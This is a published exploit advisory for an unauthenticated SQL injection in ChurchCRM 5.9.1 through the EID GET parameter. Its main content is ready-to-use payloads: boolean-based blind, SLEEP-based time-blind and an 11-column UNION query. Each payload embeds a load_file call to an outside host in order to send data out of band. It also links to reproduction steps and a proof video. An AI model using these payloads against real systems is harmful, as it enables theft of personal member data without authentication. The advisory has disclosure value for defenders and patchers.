ChurchCRM 5.9.1 - SQL Injection

# Exploit Title: ChurchCRM 5.9.1 - SQL Injection

# Author: Sanan Qasimzada

# Date: 06.07.2024

# Vendor: http://churchcrm.io/

# Software: https://github.com/ChurchRM/CRM

# Reference: https://portswigger.net/web-security/sql-injection



# Description:

In the manual insertion point 1 - parameter `EID` appears to be

vulnerable to SQL injection attacks.

No need for cookies, no need admin authentication and etc.

The attacker easily can steal information from this system by using

this vulnerability.



STATUS: HIGH Vulnerability - CRITICAL



[+]Payload:

```mysql

---

Parameter: EID (GET)

    Type: boolean-based blind

    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)

    Payload: EID=(select

load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))

OR NOT 2407=2407



    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: EID=(select

load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))

AND (SELECT 9547 FROM (SELECT(SLEEP(3)))QEvX)



    Type: UNION query

    Title: MySQL UNION query (UTF8) - 11 columns

    Payload: EID=(select

load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))

UNION ALL SELECT

'UTF8','UTF8',CONCAT(0x716a6b7a71,0x57646e6842556a56796a75716b504b4d6941786f7578696a4c557449796d76425645505670694b42,0x717a7a7871),'UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8'#

---



```



# Reproduce:

[href](
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ChurchCRM/2023/ChurchCRM-4.5.3-121fcc1
)



# Proof and Exploit:

[href](https://streamable.com/1eqhw2)



# Time spend:

01:00:00





-- 

System Administrator - Infrastructure Engineer

Penetration Testing Engineer

Exploit developer at

https://packetstormsecurity.com/https://cve.mitre.org/index.html and

https://www.exploit-db.com/

home page: https://www.nu11secur1ty.com/

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=

                          nu11secur1ty <http://nu11secur1ty.com/>



-- 

System Administrator - Infrastructure Engineer

Penetration Testing Engineer

Exploit developer at https://packetstormsecurity.com/

https://cve.mitre.org/index.html

https://cxsecurity.com/ and https://www.exploit-db.com/

0day Exploit DataBase https://0day.today/

home page: https://www.nu11secur1ty.com/

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=

                          nu11secur1ty <http://nu11secur1ty.com/>